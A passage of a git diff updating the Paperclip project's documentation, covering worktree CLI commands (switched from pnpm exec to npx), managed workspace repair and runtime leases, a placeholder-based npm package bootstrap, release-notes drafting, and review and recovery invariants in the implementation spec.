+Protected `/api/health` on a cloned workspace additionally carries a `workspace` block — `state`, `databaseReady`, `cloneDataReady`, `authHandoffReady`, `seedState`, `seedPhase`, `instanceId`, `executionWorkspaceId`, `failurePhase`. Public health stays redacted. Managed runtime start will not publish `running / healthy` unless that block agrees and names this exact instance and workspace, and runtime-service work products are refreshed from the live runtime row so a port change cannot leave a stale user-facing URL.
+
+The workspace UI surfaces `Provisioning database`, `Validating clone`, `Ready`, `Degraded`, `Repairing`, and `Repair failed`, each with one safe action (open, start, repair, or read the log).
+
 ### Worktree CLI Reference
 
-**`pnpm paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
+**`npx paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
 
 | Option | Description |
 |---|---|
@@ -537,7 +581,7 @@ Repair an already-created repo-managed worktree and reseed its isolated instance
 
 ```sh
 cd /path/to/paperclip/.paperclip/worktrees/PAP-884-ai-commits-component
-pnpm exec paperclipai worktree init --force --seed-mode minimal \
+npx paperclipai worktree init --force --seed-mode minimal \
   --name PAP-884-ai-commits-component \
   --from-config ~/.paperclip/instances/default/config.json
 ```
@@ -546,7 +590,7 @@ That rewrites the worktree-local `.paperclip/config.json` + `.paperclip/.env`, r
 
 For an already-created worktree where you want the CLI to decide whether to rebuild missing worktree metadata or just reseed the isolated DB, use `worktree repair`.
 
-**`pnpm paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
+**`npx paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
 
 | Option | Description |
 |---|---|
@@ -567,13 +611,14 @@ cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-i
 pnpm paperclipai worktree repair
 
 # From the primary checkout, create or repair a linked worktree for a branch under .paperclip/worktrees/.
+# This command repairs the local checkout, so run the checked-out CLI through the direct-exec form.
 cd /path/to/paperclip
-pnpm paperclipai worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
+node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
 ```
 
 For an already-created worktree where you want to keep the existing repo-local config/env and only overwrite the isolated database, use `worktree reseed` instead. Stop the target worktree's Paperclip server first so the command can replace the DB safely.
 
-**`pnpm paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
+**`npx paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
 
 | Option | Description |
 |---|---|
@@ -585,13 +630,14 @@ For an already-created worktree where you want to keep the existing repo-local c
 | `--seed-mode <mode>` | Seed profile: `minimal` or `full` (default: `full`) |
 | `--yes` | Skip the destructive confirmation prompt |
 | `--allow-live-target` | Override the guard that requires the target worktree DB to be stopped first |
+| `--backup-target` | Retain a recoverable full target-DB backup before reseeding |
 
 Examples:
 
 ```sh
 # From the main repo, reseed a worktree from the current default/master instance.
 cd /path/to/paperclip
-pnpm paperclipai worktree reseed \
+npx paperclipai worktree reseed \
   --from current \
   --to PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat \
   --seed-mode full \
@@ -599,12 +645,14 @@ pnpm paperclipai worktree reseed \
 
 # From inside a worktree, reseed it from the default instance config.
 cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
-pnpm paperclipai worktree reseed \
+npx paperclipai worktree reseed \
   --from-instance default \
   --seed-mode full
 ```
 
-**`pnpm paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
+Managed workspace repair uses this same verified full-reseed contract through `POST /api/execution-workspaces/:id/runtime-commands/repair`. The exclusive, audited operation stops managed services, writes a recoverable pre-repair database backup under the isolated instance's backup directory, performs the full seed/migration/quarantine/rebinding sequence, and restarts only after terminal manifest and service-health validation. It preserves the worktree filesystem. On failure, services remain stopped while the database backup, seed manifest, bounded phase diagnostics, and operation log are retained for inspection; repair never retries itself in a loop.
+
+**`npx paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
 
 | Option | Description |
 |---|---|
@@ -623,12 +671,12 @@ pnpm paperclipai worktree reseed \
 Examples:
 
 ```sh
-pnpm paperclipai worktree:make paperclip-pr-432
-pnpm paperclipai worktree:make my-feature --start-point origin/main
-pnpm paperclipai worktree:make experiment --no-seed
+npx paperclipai worktree:make paperclip-pr-432
+npx paperclipai worktree:make my-feature --start-point origin/main
+npx paperclipai worktree:make experiment --no-seed
 ```
 
-**`pnpm paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
+**`npx paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
 
 | Option | Description |
 |---|---|
@@ -640,13 +688,36 @@ Examples:
 ```sh
 pnpm paperclipai worktree env
 pnpm paperclipai worktree env --json
-eval "$(pnpm paperclipai worktree env)"
+eval "$(npx paperclipai worktree env)"
 ```
 
 For project execution worktrees, Paperclip can also run a project-defined provision command after it creates or reuses an isolated git worktree. Configure this on the project's execution workspace policy (`workspaceStrategy.provisionCommand`). The command runs inside the derived worktree and receives `PAPERCLIP_WORKSPACE_*`, `PAPERCLIP_PROJECT_ID`, `PAPERCLIP_AGENT_ID`, and `PAPERCLIP_ISSUE_*` environment variables so each repo can bootstrap itself however it wants.
 
+An issue can pin its isolated worktree to an exact pre-existing branch instead of a template-derived one — the contract PR-preparation tasks use. Set the issue's `executionWorkspaceSettings` to `{ "mode": "isolated_workspace", "workspaceStrategy": { "type": "git_worktree", "existingBranch": "<branch>" } }`. The validator requires isolated mode plus a `git_worktree` strategy and rejects `branchTemplate` alongside `existingBranch`. At dispatch the runtime attaches (never creates, renames, fast-forwards, or resets) that branch: it reuses a registered worktree that already has the branch checked out (including legacy `.worktrees/` paths), otherwise it attaches the branch under the managed worktree parent. A missing branch, an occupied worktree path on another branch, or a non-worktree strategy fails closed with a `workspace_validation_failed` error instead of falling back to the shared checkout or a derived branch, and an inherited `reuse_existing` workspace binding on a different branch is ignored in favor of realizing the pinned branch.
+
 Heavier setup that is only needed by a managed runtime service can use `workspaceStrategy.runtimeProvisionCommand`. Paperclip runs this command lazily before spawning the first service in a start batch, serializes concurrent provisioning for the same workspace, and records the attempt as `workspace_runtime_provision`. The command receives the same workspace environment as `provisionCommand` and should be idempotent because later service-start batches invoke it again.
 
+Managed runtime control actions (`start`, `stop`, `restart`, and job `run`) are mutually exclusive per execution workspace. An overlapping control is rejected with `409 workspace_runtime_control_in_progress` instead of racing the active operation, and authorization is still checked first, so the conflict never widens who may control a workspace.
+
+Local managed runtime services write stdout and stderr directly to append-only
+files under the instance's `runtime-service-logs/` directory. The child inherits
+the file descriptors rather than supervisor-owned pipes, so request-logging
+servers remain responsive and adoptable when the control plane restarts.
+
+Every managed control reaches a terminal operation state. Each one stamps the owning server process and pid on its `workspace_operations` row and heartbeats while it runs, and each one carries a wall-clock ceiling (30 minutes for lifecycle controls, 4 hours for workspace jobs) so a hung provider or listener fails the operation rather than leaving it active. When a start fails part-way, Paperclip tears the workspace's runtime services down through the ordinary stop path and records a stopped desired state, so the lane is retryable and a startup reconcile will not resurrect a service that never came up.
+
+Recovery of stranded controls is bounded and cannot steal a live operation. A `running` control is only terminalized when its owning process is gone, when the owning request in this process no longer exists, or after 60 seconds without a heartbeat; the terminalizing write is a compare-and-swap on `updated_at`, so an owner that heartbeats concurrently keeps its operation. Recovery runs on server startup and before each managed control, appends reconciliation evidence to the workspace-operation log, and stays inside the requested workspace's scope.
+
+Readiness probes and port allocation are bounded for the same reason. Each HTTP readiness probe is aborted after at most 5 seconds (never past the service's readiness budget), so a foreign listener that accepts a connection but never answers cannot park a start forever. Auto-allocated loopback ports are reserved in-process for the duration of a start and re-checked for a live owner, and a configured port already claimed by another in-flight start fails that start terminally — so two isolated workspaces asking for the same app/HMR pair either get distinct healthy ports or one fails cleanly and retryably.
+
+Beyond that in-flight guard, `start`, `stop`, and `restart` also take a durable exclusivity lease on the execution workspace (`execution_workspace_runtime_leases`). The lease is keyed by execution workspace and owned by the controlling issue (or, when a run has no issue in scope, by the run or agent), so it survives across calls, heartbeats, and server processes. The owning issue can keep operating; a different issue or run is rejected with `409 workspace_runtime_lease_conflict` before any workspace operation is recorded and before any runtime service is touched. Board/operator actions bypass the lease entirely and never take the lane away from an agent.
+
+Lease recovery is bounded and explicit. Another issue may reclaim the lane once the owner becomes ineligible — the owning issue reaches a terminal status, is hidden, or is deleted; the owning run reaches a terminal status — or once the lease's 30-minute TTL elapses without the owner touching it. Archiving the execution workspace releases the lease outright. Conflict responses carry the owning issue/run ids and the lease expiry so an operator can tell who holds the lane.
+
+For Tailscale HTTPS exposure, readiness includes stable listener-ownership checks for every requested loopback port (the app and, when configured, its Vite HMR companion). Each listener must belong to the spawned managed process group; an unrelated listener that races onto either reserved port fails the start closed before the broker is asked to expose it.
+
+In Vite middleware mode, Paperclip gives HMR a dedicated HTTP server bound to the managed runtime's loopback host. The browser still derives the HMR hostname from the public HTTPS page, so listener containment does not break remote hot reload.
+
 ## App-Shipped Skills Catalog
 
 The Paperclip app ships a curated catalog of company skills out of the box. The
@@ -802,6 +873,12 @@ Environment overrides:
   stale-backup warning threshold
 - `PAPERCLIP_DB_BACKUP_ALERT_FILE=/path/to/failure-marker` lets external cron
   wrappers surface the last failed backup in `/api/health`
+- `PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS=<days>` sets how long the
+  terminal-workspace reaper waits after an issue tree becomes terminal before it
+  archives the execution workspace and deletes the worktree. A person can reopen
+  the work inside this window. The default is `7`. A value of `0` disables the
+  cooldown and restores immediate reaping. A negative or non-numeric value falls
+  back to the default.
 
 Without `PAPERCLIP_DB_BACKUP_ALERT_FILE`, health checks look for
 `db-backup-to-s3.failure` in the backup directory, beside the backup directory,
@@ -869,15 +946,15 @@ Paperclip CLI now includes client-side control-plane commands in addition to set
 Quick examples:
 
 ```sh
-pnpm exec paperclipai issue list --company-id <company-id>
-pnpm exec paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
-pnpm exec paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
+npx paperclipai issue list --company-id <company-id>
+npx paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
+npx paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
 ```
 
 Set defaults once with context profiles:
 
 ```sh
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
+npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
 ```
 
 Then run commands without repeating flags:
@@ -961,4 +1038,4 @@ Networking behavior for this smoke script:
 
 - auto-detects and prints a Paperclip host URL reachable from inside OpenClaw Docker
 - default container-side host alias is `host.docker.internal` (override with `PAPERCLIP_HOST_FROM_CONTAINER` / `PAPERCLIP_HOST_PORT`)
-- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `pnpm exec paperclipai allowed-hostname host.docker.internal` and restart Paperclip
+- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `npx paperclipai allowed-hostname host.docker.internal` and restart Paperclip
diff --git a/doc/HERMES_GATEWAY_ONBOARDING.md b/doc/HERMES_GATEWAY_ONBOARDING.md
index 29d9385516f..257a067f88c 100644
--- a/doc/HERMES_GATEWAY_ONBOARDING.md
+++ b/doc/HERMES_GATEWAY_ONBOARDING.md
@@ -79,9 +79,9 @@ The UI prompt points Hermes at the same machine-readable onboarding endpoints:
 For CLI-driven setup, create and inspect the invite directly:
 
 ```sh
-pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
-pnpm exec paperclipai invite show <token>
-pnpm exec paperclipai invite onboarding:text <token>
+npx paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
+npx paperclipai invite show <token>
+npx paperclipai invite onboarding:text <token>
 ```
 
 Hermes should submit a join request with `requestType: "agent"` and
@@ -119,14 +119,14 @@ After Hermes submits the join request:
 2. Approve it from the board UI, or use:
 
    ```sh
-   pnpm exec paperclipai join list --company-id <company-id> --status pending_approval
-   pnpm exec paperclipai join approve <request-id> --company-id <company-id>
+   npx paperclipai join list --company-id <company-id> --status pending_approval
+   npx paperclipai join approve <request-id> --company-id <company-id>
    ```
 
 3. Hermes claims the one-time agent API key:
 
    ```sh
-   pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
+   npx paperclipai join claim-key <request-id> --claim-secret <secret>
    ```
 
 4. Store the claimed Paperclip key in Hermes runtime state or secrets. The claim
@@ -182,7 +182,7 @@ Use these entry points depending on who is driving setup:
   onboarding prompt.
 - Invite API: `GET /api/invites/:token/onboarding.txt` for the generated
   llm.txt-style setup instructions.
-- CLI invite flow: `pnpm exec paperclipai invite create`, `invite show`,
+- CLI invite flow: `npx paperclipai invite create`, `invite show`,
   `invite onboarding:text`, `join approve`, and `join claim-key`.
 - Smoke helpers: `pnpm smoke:hermes-gateway-e2e` for fresh-state Docker
   verification and `pnpm smoke:hermes-gateway-join` for an already-running
diff --git a/doc/INSTALLING.md b/doc/INSTALLING.md
index 60db823616e..c817645e2ba 100644
--- a/doc/INSTALLING.md
+++ b/doc/INSTALLING.md
@@ -23,7 +23,7 @@ bash install.sh
 The bootstrap script:
 
 1. verifies that the platform is supported;
-2. ensures Node.js 20 or newer is available;
+2. ensures Node.js 24.11 or newer is available;
 3. delegates installation to `paperclipai install`;
 4. starts interactive onboarding when stdin and stdout are terminals.
 
@@ -241,6 +241,12 @@ paperclipai service status
 presence and drift, running state, configured port ownership, and the running
 server version.
 
+The CLI and server also print a non-blocking startup warning when Node.js is
+below the supported minimum. Upgrade Node.js with a version manager or follow
+the downloaded `install.sh` workflow under **Recommended Install**. Do not use
+the piped form for this repair because it requires a supported Node.js runtime
+before it starts.
+
 ## Uninstall
 
 Remove the background service and managed CLI payloads:
diff --git a/doc/PUBLISHING.md b/doc/PUBLISHING.md
index 451853c3529..433860153fb 100644
--- a/doc/PUBLISHING.md
+++ b/doc/PUBLISHING.md
@@ -184,53 +184,65 @@ CI publishing is controlled by [`scripts/release-package-manifest.json`](../scri
 When you add a new public package:
 
 1. add it to the manifest and decide whether CI should publish it immediately
-2. if CI should publish it, bootstrap the package on npm before merge
+2. if CI should publish it, reserve the name on npm with the placeholder bootstrap before merge
 3. if CI should not publish it yet, keep `"publishFromCi": false`
 4. only enable `"publishFromCi": true` after npm trusted publishing is configured for that package
 
-PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`.
+PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`. When a PR needs this bootstrap, commitperclip also posts an informational notice on the PR naming the exact command, so contributors know a maintainer action is pending rather than something they can fix.
 
 ### One-time bootstrap sequence for a new package
 
-The first publish of a brand-new package still needs one human maintainer with npm write access.
-After that, trusted publishing can take over.
+Creating a brand-new package name on npm still needs one human maintainer with npm write access.
+After that, trusted publishing takes over — and CI publishes the only real content the package ever gets.
+
+The bootstrap intentionally does **not** publish the package's real build output.
+It publishes a tiny placeholder at version `0.0.0` (a manifest, a README, and an
+`index.js` that throws a descriptive error), because:
+
+- real package content should only ever reach npm from CI, after the PR that adds the package has been reviewed and merged
+- the PR CI gate only requires the name to resolve on the registry
+- the trusted publisher rule can only be configured once the package page exists
+- the placeholder needs no local build and no workspace state, so it can be published from any checkout (including `master`, before the new package's PR merges)
 
 Example for a newly added public package from the repo root:
 
 ```bash
-# safe preview
+# safe preview (stages the placeholder and runs npm publish --dry-run)
 pnpm run release:bootstrap-package -- @paperclipai/new-package
 
-# one-time first publish from an authenticated maintainer machine
-pnpm run release:bootstrap-package -- @paperclipai/new-package --publish --otp 123456
+# one-time placeholder publish from an authenticated maintainer machine
+# (prompts for npm one-time passwords; they are never passed as arguments)
+pnpm run release:bootstrap-package -- @paperclipai/new-package --publish
 ```
 
 The helper script:
 
+- refuses names outside the `@paperclipai/` scope
 - checks that the package does not already exist on npm
-- builds the target package unless `--skip-build` is passed
-- runs `pnpm publish <package-dir> --dry-run --no-git-checks --access public` from the repo root
-- only runs the real `pnpm publish <package-dir> --no-git-checks --access public` when `--publish --otp <code>` is provided
+- stages the placeholder in a temporary directory and previews it with `npm publish --dry-run --access public`
+- with `--publish`, prompts for a one-time password and publishes. Codes are entered interactively and handed to npm through its environment (`npm_config_otp`), so they never appear on a command line, in shell history, or in a process listing; a rejected or expired code re-prompts
+- then waits for the registry to show the package (a first publish can take a few minutes to become visible on the read/write endpoints) and prompts for a second code to deprecate the placeholder, so accidental installs warn loudly. If the wait times out or the deprecation fails, it prints the exact `npm deprecate` command to run manually
 
-The helper intentionally uses `pnpm publish` instead of `npm publish` so workspace
-dependencies and `publishConfig` export fields are normalized before the package
-is sent to the registry.
+Until the first stable release supersedes it, the `latest` dist-tag points at the
+deprecated placeholder. Internal consumers are unaffected: release version
+rewrites pin exact calver versions, so nothing inside the release package set
+resolves through `latest`.
 
 For the real `--publish` step, the maintainer machine must already be authenticated to npm.
 If `npm whoami` returns `401`, first run `npm logout --registry=https://registry.npmjs.org/` to clear any stale local auth, then run `npm login` or `npm adduser` locally as an npm org member, and finally rerun the helper.
 That local human auth is fine for the one-time bootstrap publish; we just do not want the same auth model inside CI.
-The helper now requires `--otp <code>` up front for `--publish`, so it fails before the real publish attempt if the one-time password is missing.
+`--publish` requires an interactive terminal: the helper prompts for the one-time password right before the publish and again before the deprecation, handing each code to npm through its environment (`npm_config_otp`), so codes never appear in command arguments, shell history, or process listings.
 
-After that first publish succeeds:
+After the placeholder publish succeeds:
 
 1. open `https://www.npmjs.com/package/@paperclipai/new-package`
 2. go to `Settings` → `Trusted publishing`
 3. add repository `paperclipai/paperclip`
 4. set workflow filename to `release.yml`
 5. optionally go to `Settings` → `Publishing access` and enable `Require two-factor authentication and disallow tokens`
-6. keep `publishFromCi: true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
+6. only then set `"publishFromCi": true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
 
-Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step is only the first package creation on npm.
+Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step only reserves the name on npm; every real version ships from CI.
 
 ## Rollback model
 
diff --git a/doc/RELEASE-CHECKLIST.md b/doc/RELEASE-CHECKLIST.md
index 3ab74932a84..e8d3c03245e 100644
--- a/doc/RELEASE-CHECKLIST.md
+++ b/doc/RELEASE-CHECKLIST.md
@@ -36,6 +36,11 @@ Happy path:
 - [ ] `npm view paperclipai@beta version` shows the new `-beta.N`
 - [ ] `beta/v*` tag pushed; `:beta` and `:beta-cloud` images built
 - [ ] post-publish smoke (`smoke_beta`) is green
+- [ ] `draft_stable_notes` pushed `release-notes/v<beta-version>`; open the
+      notes PR from the job-summary link
+- [ ] during the soak: edit the notes PR into release voice and merge it
+      (the stable promotion reads `releases/beta/v<beta-version>.md` from
+      `master`)
 
 Fix path (cherry-picked candidate):
 
@@ -50,7 +55,8 @@ Fix path (cherry-picked candidate):
 
 - [ ] pick the beta to promote; its source commit is `source_ref`
 - [ ] the beta has soaked ≥ 3 days with no open beta-blocker issues
-- [ ] author `releases/vYYYY.MDD.P.md` on that source ref
+- [ ] the beta's notes PR (`releases/beta/v<beta-version>.md`) is merged on
+      `master` — preflight fails, before the approval gate, without it
 - [ ] dispatch `release.yml` with `channel: stable` (a dry run first shows
       the resolved version and soak state without publishing)
 - [ ] approve the `npm-stable` environment gate
@@ -59,10 +65,15 @@ Fix path (cherry-picked candidate):
       versioned Docker tags built
 - [ ] if the soak gate was bypassed, `skip_soak_justification` carries a
       real written reason (it lands in the job summary)
+- [ ] open and merge the canonicalization PR
+      (`release-notes/v<version>-canonicalize`) so the notes land at
+      `releases/vYYYY.MDD.P.md`
 
 Fix path: `candidate/release-<target>` from the beta's source commit; the
 soak gate will demand a justification because the exact bits were not
-soaked — write one that stands on its own.
+soaked — write one that stands on its own. A candidate branch carries its
+own `releases/vYYYY.MDD.P.md` (preflight prefers source-tree notes), so
+author the notes as a commit on the candidate.
 
 ## After any incomplete run
 
diff --git a/doc/RELEASING.md b/doc/RELEASING.md
index 1e1891663d8..3eb0059316a 100644
--- a/doc/RELEASING.md
+++ b/doc/RELEASING.md
@@ -10,7 +10,10 @@ The release model is now commit-driven:
 3. Betas are manual, human-approved promotions of a chosen nightly.
 4. Stable releases promote a beta that has soaked for at least 3 days
    (bypass requires a written justification).
-5. Stable release notes live in `releases/vYYYY.MDD.P.md`.
+5. Stable release notes live in `releases/vYYYY.MDD.P.md`. They are
+   drafted automatically when a beta is published (as
+   `releases/beta/v<beta-version>.md` on `master`), edited during the
+   soak, and moved to the versioned name after the stable ships.
 6. Only stable releases get GitHub Releases.
 
 The user-facing guide to the channels is [`CHANNELS.md`](CHANNELS.md).
@@ -71,7 +74,12 @@ internal traceability tag.
   shipped as a beta at least 3 days earlier unless a written justification
   is provided
 - tags point at the original source commit, not a generated release commit
-- stable notes are always `releases/vYYYY.MDD.P.md`
+- stable notes are always `releases/vYYYY.MDD.P.md` in the end state: a
+  promoted beta's notes are drafted and edited at
+  `releases/beta/v<beta-version>.md` on `master` during the soak (the
+  promoted commit cannot carry a file named for a promotion date that was
+  unknown when it was created), and a post-stable canonicalization PR
+  moves them to the versioned name
 - canaries, nightlies, and betas never create GitHub Releases
 - canaries, nightlies, and betas never require changelog generation
 - Docker `:latest` moves only on stable releases; master builds publish
@@ -157,6 +165,13 @@ Betas are manual promotions. Dispatch
   dispatched at that tag to publish the `:beta` images
 - after publishing, the release smoke suite runs against the exact published
   beta version as verification
+- a `draft_stable_notes` job also generates the eventual stable's notes
+  skeleton — `releases/beta/v<beta-version>.md`, grouped from
+  `git log <last-stable-tag>..<source-commit>` — and force-pushes it to the
+  machine-owned `release-notes/v<beta-version>` branch. Open the PR from
+  the job-summary link (a human opens it so CI runs) and edit the notes
+  during the soak; the stable promotion reads the merged file from
+  `master`
 - `dry_run: true` previews the publish and skips the tag push, Docker
   dispatch, and post-publish smoke
 
@@ -228,7 +243,11 @@ Before running stable:
 1. pick the beta you are promoting (its source commit is the `source_ref`)
 2. confirm the beta has soaked for 3 days with no open blockers
 3. resolve the target stable version with `./scripts/release.sh stable --date "$(date +%F)" --print-version`
-4. create or update `releases/vYYYY.MDD.P.md` on that source ref
+4. make sure the notes PR from the beta's draft branch
+   (`release-notes/v<beta-version>`, adding
+   `releases/beta/v<beta-version>.md`) is merged on `master` — or, for
+   candidate builds, that the candidate branch itself carries
+   `releases/vYYYY.MDD.P.md`
 5. run the stable workflow from that source ref
 
 Example:
@@ -241,11 +260,19 @@ The workflow:
 
 - re-verifies the exact source ref
 - computes the next stable patch slot for the chosen UTC date
+- resolves the release notes in preflight: `releases/vYYYY.MDD.P.md` at
+  the source commit (the candidate fix path) takes precedence, otherwise
+  `releases/beta/v<beta-version>.md` on `master` (a promoted beta). When
+  neither exists the run fails before the `npm-stable` approval gate with
+  the missing path named
 - publishes `YYYY.MDD.P` under npm dist-tag `latest`
 - creates git tag `vYYYY.MDD.P`
 - dispatches [`docker.yml`](../.github/workflows/docker.yml) at that tag to
   publish `:latest` and the versioned stable images
-- creates or updates the GitHub Release from `releases/vYYYY.MDD.P.md`
+- creates or updates the GitHub Release from the resolved notes file
+- for master-side beta notes, pushes a `release-notes/v<version>-canonicalize`
+  branch that `git mv`s them to `releases/vYYYY.MDD.P.md` — open and merge
+  its PR to restore the canonical layout
 
 ## Docker Image Tags
 
@@ -314,6 +341,12 @@ Stable changelog files live at:
 
 Canaries do not get changelog files.
 
+The `draft_stable_notes` job seeds a deterministic skeleton (grouped
+commit subjects) on the `release-notes/v<beta-version>` branch at beta
+publish; the flows below turn that skeleton into narrative release notes
+during the soak. Run them against the draft branch's
+`releases/beta/v<beta-version>.md` and push to the notes PR.
+
 Recommended local generation flow:
 
 ```bash
diff --git a/doc/SPEC-implementation.md b/doc/SPEC-implementation.md
index 69603456158..f85c42a5867 100644
--- a/doc/SPEC-implementation.md
+++ b/doc/SPEC-implementation.md
@@ -37,7 +37,7 @@ These decisions close open questions from `SPEC.md` for V1.
 | Visibility | Company-scoped visibility: board + all in-company agents can see all work objects by default; public/private deployment flags affect external exposure only and do **not** imply project/issue privacy |
 | Communication | Tasks + comments only (no separate chat system) |
 | Task ownership | Single assignee; atomic checkout required for `in_progress` transition |
-| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree and resolve only eligible task-level plan confirmations; it is not board authority, active-run output monitoring, or general liveness recovery. |
+| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree; for issue-thread interaction resolution it is an ordinary agent subject to the same audience and containment checks, not board authority, active-run output monitoring, or general liveness recovery. |
 | Recovery | Liveness/watchdog recovery preserves explicit ownership: retry lost execution continuity where safe, otherwise open visible source-scoped recovery actions by default, use issue-backed recovery only for independent repair work, or require human escalation (see `doc/execution-semantics.md`) |
 | Agent adapters | Built-in `process`, `http`, local CLI/session adapters, and OpenClaw gateway support; external adapters can also be loaded through the adapter plugin flow |
 | Plugin framework | Local/self-hosted early plugin runtime is in scope; cloud marketplace and packaged public distribution remain out of scope |
@@ -258,6 +258,10 @@ Invariants:
 - single assignee only
 - task must trace to company goal chain via `goal_id`, `parent_id`, or project-goal linkage
 - `in_progress` requires assignee
+- an `in_review -> done | cancelled` verdict is authorized against the current review policy while the issue row is locked; a policy change in the same request or a concurrent request cannot relax that verdict gate
+- accepting or rejecting the review-confirmation interaction locks the issue row before resolving the interaction and reauthorizes against the current review policy in that transaction
+- while a restrictive review policy is stored, changing it requires an actor who is allowed by that row-locked policy
+- the transition into `in_review` and its requester activity record commit atomically, including transitions without an explicit review-interaction binding
 - terminal states: `done | cancelled`
 
 ## 7.7 `issue_comments`
@@ -506,9 +510,15 @@ V1 non-terminal liveness rule:
 - external waits are durable only when persisted as a bounded monitor/scheduled wake, a first-class blocker with a named owner and action, or healthy delegated child work connected by a blocker edge when the source must wait; parent/child structure alone is not a wait path
 - unmanaged shell jobs, detached sessions, adapter child processes, local polling loops, PIDs, logs, and comments are evidence rather than liveness; a managed runtime service counts only when paired with a persisted monitor, wake, blocker, or delegated issue that owns the next check
 - heartbeat finalization evaluates liveness from persisted Paperclip state; an issue cannot remain healthy `in_progress` solely because the exiting heartbeat started a local/background watcher
-- invalid external-wait recovery queues at most one normal-model continuation per source-state fingerprint, then requires a real blocker or explicit recovery action instead of repeating equivalent recovery wakes; new durable source activity may establish a new fingerprint
+- a continuation cancelled as `issue_continuation_waiting_on_review` first converts a current typed wait target into a first-class wait; without a current target it is classified as `deliberate_wait_without_target` and gives the invokable original owner five normal-model disposition-repair attempts (immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter)
+- disposition repair revalidates blockers, children, interactions, approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, budgets, and governance before every attempt; the attempt bound is keyed by durable source state, so comments or equivalent parked prose do not reset it while durable source-state changes may establish a new fingerprint
+- backwards-compatible upgrades count consecutive historical `issue_continuation_waiting_on_review` cancellations for the unchanged accepted-interaction source state against the same five-attempt disposition-repair ceiling; missing pre-upgrade recovery-action rows do not reset the budget
+- the source fingerprint, source-attempt count, next due time, source owner, and return owner persist in the recovery action; startup and periodic reconciliation resume that exact lineage without duplicate wakes, fold it when a current typed wait appears, and reschedule or escalate an expired action that has no live scheduled run
+- source-attempt exhaustion opens one source-scoped manager recovery action without changing the source assignee; manager runs get five separate persisted attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule, then escalate visibly to the board when exhausted
+- an active recovery action counts as a live source or blocker-chain path only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation; source and blocker projections consume the same nested recovery-path result
 - when Paperclip cannot safely infer the next action, it surfaces the problem through visible blocked/recovery work instead of silently completing or reassigning work
 - explicit recovery actions are the liveness primitive; source-scoped actions are the default form, issue-backed recovery is a fallback for independent repair work or safety boundaries, and comments alone are evidence rather than a healthy liveness path
+- recovery-action ownership is separate from source-task ownership: automatic repair and manager escalation preserve the source `assigneeAgentId`; reassignment requires an explicit decision or a policy-defined serious failure
 - source-scoped recovery routing is cause-keyed: lost processes, missing successful-run dispositions, and output-inactivity terminations retry the original agent when invokable; provider-quota failures create/reuse a scheduled wait-recovery monitor without a takeover wake; workspace validation and unknown causes route to the manager ladder
 - recovery-scoped wakes replace the normal deliverable execution contract with a cause-specific recovery contract, and successful repair returns the issue to the recorded original owner by default while recording `handed_back` versus `owner_completed`
 
@@ -580,10 +590,11 @@ may wake the target assignee, including an explicit `resume: true` comment on a
 the normal agent rewake throttle; comment presentation cannot give it human
 wake privileges. Agent issue comments and updates require a persisted heartbeat
 run bound to the authenticated agent and company; missing, invalid, or mismatched
-run context fails closed before mutation. A run may attempt at most 20 cross-issue comments or issue
-updates across the shared counter. The server records each attempt with its
-source issue, target issue, run, count, and rollout mode, and fails closed with
-the cap in the error once enforcement is active. Assignee self-comments do not
+run context fails closed before mutation. A run may attempt at most 20 cross-issue comments, issue
+updates, or issue-thread interaction resolutions across one shared counter. The
